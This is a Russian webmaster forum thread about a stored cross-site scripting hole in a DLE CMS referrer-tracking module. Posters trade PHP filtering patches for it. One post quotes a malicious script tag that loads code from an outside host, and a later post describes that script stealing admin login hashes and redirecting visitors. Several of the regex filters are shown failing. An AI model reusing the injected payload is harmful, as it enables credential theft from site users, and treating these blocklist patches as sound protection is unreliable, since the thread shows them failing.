1 (2011-06-16 22:53:59 отредактировано losinostrovsk)

Тема: В модуле Переходы имеется баг с недостаточной фильтрацией

Для тех, кто использует у себя на сайте модуль Переходы http://s015.radikal.ru/i330/1106/c2/74dbe90bbadd.jpg , необходимо пофиксить баг, связанный с недостаточной фильтрацией данных.

Заплатка с официального сайта выглядит так:

Для исправления нужно открыть файл engine/modules/referer.php и найти:

$request = $db->safesql($request);

Найденное заменить на:

$request = $db->safesql( trim( htmlspecialchars( strip_tags( $request ) ) ) );

Существует и другой путь пофиксить этот баг.

Для этого нужно открыть тот же файл и найти:

$request = strip_tags($request);

и добавить ниже:

$request=preg_replace('{[/\'"#@!%.]+}isU','',$request);

Поделиться

2

Re: В модуле Переходы имеется баг с недостаточной фильтрацией

Если этого исправления не будет сделано, но модуль может пропустит на сайт скрипты, например, такой, как на скиншоте:

http://s012.radikal.ru/i320/1106/ca/063cfaed3cb5.jpg

Поделиться

3

Re: В модуле Переходы имеется баг с недостаточной фильтрацией

В этом же самом модуле автор (ko1yan) рекомендует так же внедрить новую функцию - "Блокировки нежелательных переходов". Такими переходами могут быть "искусственные переходы", запрос в которых имеет бессмысленный набор символов, типа: "qwdert", "juirt ghe" и прочая абракадабра на конкретную страницу (страницы) вашего сайта с поисковой системы. Ничего хорошего от этих переходов Вы не получите, а только вред.

Итак, нужно открыть файл engine/modules/referer.php:
Найти:

if (checkurl($http_referer) != "false") {

ВЫШЕ добавить следующий код:

$check_xss = preg_replace("/[<][\/a-zA-Z]+(.*?)[>]/", "", urldecode(rawurldecode($http_referer)));
if ( $check_xss != urldecode(rawurldecode($http_referer)) ) {
$http_referer = "";
die ( "Переход заблокирован, перенаправление:<br /><br />Пожалуйста, нажмите <a href=\"{$request_uri}\">сюда</a>." ); }

или использовать второй (облегченный) вариант (рекомендуется):

if(preg_match("/[<][\/a-zA-Z]+(.*?)[>]/", urldecode(rawurldecode($http_referer)))) {
die ( "Переход заблокирован, перенаправление:<br /><br />Пожалуйста, нажмите <a href=\"{$request_uri}\">сюда</a>." );
}

Но, если использовать второй вариант, то, по сообщениям некоторых тестеров, "дрянь" все-таки проскакивает:

Использовал второй вариант скопировал его и вставил над if (checkurl($http_referer) != "false") {

Ни че не изменилось, на следующий день заметил переходы по запросам типо gfyd или wqpsmqu и т.д.

Сайт разработчика - getdle.org.ru

+ SV

Поделиться

4

Re: В модуле Переходы имеется баг с недостаточной фильтрацией

Поставил себе этот модуль месяца два назад на один из своих сайтов (DLE 9.2). Ставил версию 4.0 с небольшим изменением, взятым из модуля 4.4. (Не стал ставить более свежие версии, так как не вижу в этом для себя смысла - мне не нужны те новые фишки, что предлагает автор.., а версию 4.0 я уже несколько месяцев как тестировал на другом своем сайте с уже пофиксеным багом, о котором речь в этом топике).

Неделю назад обнаружил проникновение в базу (через модуль) скрипта

<script scr=http://vgoru.net/l.jc></script>

Оказывается, что уже месяц назад автор на своем сайте выложил  новые заплатки, чтобы исключить подобное безобразие.

Суть исправлений такова:

Для исправлений открыть файл engine/modules/referer.php и найти:

if(preg_match("/[<][\/a-zA-Z]+(.*?)[>]/", urldecode(rawurldecode($http_referer)))) {
die ( "Переход заблокирован, перенаправление:<br /><br />Пожалуйста, нажмите <a href=\"{$request_uri}\">сюда</a>." );
}

Ниже следует добавить:

if(preg_match("/[<][\/a-zA-Z]+(.*?)[>]/", urldecode(rawurldecode($request_uri)))) {
die ( "Переход заблокирован, перенаправление:<br /><br />Пожалуйста, нажмите <a href=\"{$config['http_home_url']}\">сюда</a>." );
}

if(preg_match("/[<][\/a-zA-Z]+(.*?)[>]/", $_SERVER['HTTP_USER_AGENT'])) {
die ( "Переход заблокирован, перенаправление:<br /><br />Пожалуйста, нажмите <a href=\"{$config['http_home_url']}\">сюда</a>." );
}

Немного ниже найти следующее:

if (checkurl($http_referer) != "false") {

ВЫШЕ добавить:

$request_uri = $db->safesql( trim( htmlspecialchars( strip_tags( $request_uri ) ) ) );

Далее автор предлагает сделать еще два исправления в этом же файле, но поскольку исходного кода, который следует исправить в версии 4.0-4.4 там нет, то на этом исправлений больше делать не нужно.

На всякий случай привожу ниже эти исправления для более свежих версий модуля:

Ниже найдите:

$rblock = str_replace( '[slink]', "<a href=\"".$row['uri']."\">", $rblock );

Замените на:

$rblock = str_replace( '[slink]', "<a href=\"".strip_tags($row['uri'])."\">", $rblock );

Найдите:

$user_agent = $_SERVER['HTTP_USER_AGENT'];

Замените на:

$user_agent = @$db->safesql( htmlspecialchars( strip_tags( stripslashes( trim( $_SERVER['HTTP_USER_AGENT'] ) ) ), ENT_QUOTES ) );

Милый товарищ, который распространяет этот скрипт, посылает левый запрос на сайт-жертву через рефферер Гугла достаточно часто (не менее 2-5 раз за сутки), так что если дыра не закроется, то это будет быстро обнаружено....

____________

После того, как написал строки выше, зашел на сайт и к своей радости опять увидел в блоке на первой позиции "гадский запрос с Гугла". В админке модуля запрос датируется 5 ноября (хотя сегодня 14 октября), так что он будет постоянно находится в блоке на первой позиции и всегда при открытии страницы будет происходить загрузка скрипта с сайта гада, и браузером будет выполнен сторонний скрипт...

Выходит, что заплатки не помогли...

Наверно придется опять экспериментировать... (говорят, что нужно ставить версию 5.1 с фиксами, которые приведены выше...)

Поделиться

5

Re: В модуле Переходы имеется баг с недостаточной фильтрацией

Эксперимент продолжается (просто потому, что не хочу ставить последние версии модуля).

На форуме Маула один человек предложил для борьбы со скриптами в поисковых запросах совсем простое решение:

Открываем /engine/modules/referer.php  - ищем следующие строки кода:

        if (strtolower($request) == "t") $request = '';
        if (!$request) $is_referer = 'referer';

Сразу после них добавляем:

if(strstr($request,'<script'))$request='';

Теперь удаляем из базы уже занесенный недавно "гадский скрипт" и смотрим, что у нас получилось. (Удаляем через админку и чистим кеш)


_______________

Ничего не получилось. Буквально через час "гадский запрос" опять в базе...

Поделиться

6

Re: В модуле Переходы имеется баг с недостаточной фильтрацией

Site_Bot пишет:

Неделю назад обнаружил проникновение в базу (через модуль) скрипта
&lt;script scr=http://vgoru.net/l.jc&gt;&lt;/script&gt;

А сам скрипт l.jc пробовал смотреть? Что он делает?
Я сам прошелся по поиску, но ничего толком не узнал, кроме того, что этот скрипт (или его модификации) редиректит на смс платник.

Поделиться

7 (2011-10-15 18:29:46 отредактировано Site_Bot)

Re: В модуле Переходы имеется баг с недостаточной фильтрацией

Смотрел, только какой от этого толк? Во-первых, я почти совершенно не разбираюсь в ява-скриптах, а во-вторых, важнее понять, как эта дрянь пролезает в базу.

Сначала этот скрипт проверяет значения переменных

var dle_admin = '';
var dle_login_hash = '';

Если хоть одна из этих переменных имеет значение (то есть, переход с поисковика по поисковому запросу делает человек, который зарегистрирован на сайте-жертве), то хеш его пароля или адрес админки отправляется злоумышленнику, а затем его (или зарегистрированного пользователя, или гостя сразу же перенаправляет на платник. Если на сайт зайдет бот поисковика (например, Яндекса), то, если он умеет выполнять скрипты (а бот Яндекса это делать умеет), то он сразу обнаружит редирект - естественно, сайт в скором времени будет помечен поисковиком, как имеющий заразу со всеми вытекающими последствиями. Именно поэтому, я думаю, столько жалоб на этот модуль ("Переходы") со стороны ПС (вылет страниц из индекса, или вообще АГС или БАН), а не потому, что сама идея модуля плохая.

Если на сайт с поисковика зайдет админ (или пользователь), то редиректа не произойдет (во всяком случае этого не должно произойти, но ведь нарваться на скрипты можно разные - я говорю про свой).

Поделиться

8 (2011-10-15 22:06:49 отредактировано Site_Bot)

Re: В модуле Переходы имеется баг с недостаточной фильтрацией

В общем дела обстоят так: заплатки работают, но только не для всех поисковых запросов, которыми умельцы бомбят сайты с "Переходами". Посмотрел базу переходов на наличие "дряни" - много таких переходов, но одни безвредны - кроме мусора, естественно (много переходов типа "1", "f", и т.п. на одни и те же страницы).  НО, поисковый запрос, который вызывает внедрение в базу вредоносного скрипта с vgoru.net , по прежнему успешно работает, хотя об этом еще месяц назад сообщалось разработчику "Переходов".

Возможно, имеет смысл поставить версию 5.1, как рекомендует автор - позднее попробую, тем более, что все равно версией 5.0 пользоваться неразумно.

Поделиться

9

Re: В модуле Переходы имеется баг с недостаточной фильтрацией

В данный момент нет времени тестировать модуль далее, но пока поставил часть скрипта с версии 5.1 - все левые запросы режутся отлично, даже тот, речь о котором шла выше. Полностью модуль версии 5.1 не ставил - будет время поставлю и отпишусь здесь...

Поделиться

10

Re: В модуле Переходы имеется баг с недостаточной фильтрацией

Модуль ПЕРЕХОДЫ 5.1 нормально работает. Все, о чем шла речь выше режется так, как и должно резаться.

Что имело место ранее:
1. Была подмена (в БД) реального IP, с которого происходил запрос (83.246.178.75) на 74.125.77.147... (с тремя точками в конце)
2. Реальная дата перехода менялась на дату, время которой еще реально не наступило (например, переход осуществлен 14 октября, а дата в базе - 7 ноября), что позволяло левому запросу постоянно находится на первой позиции в блоке и всегда быть активным...
3. Ну и, собственно, самое главное - наличие в базе самого кода вредоносного скрипта..

Поделиться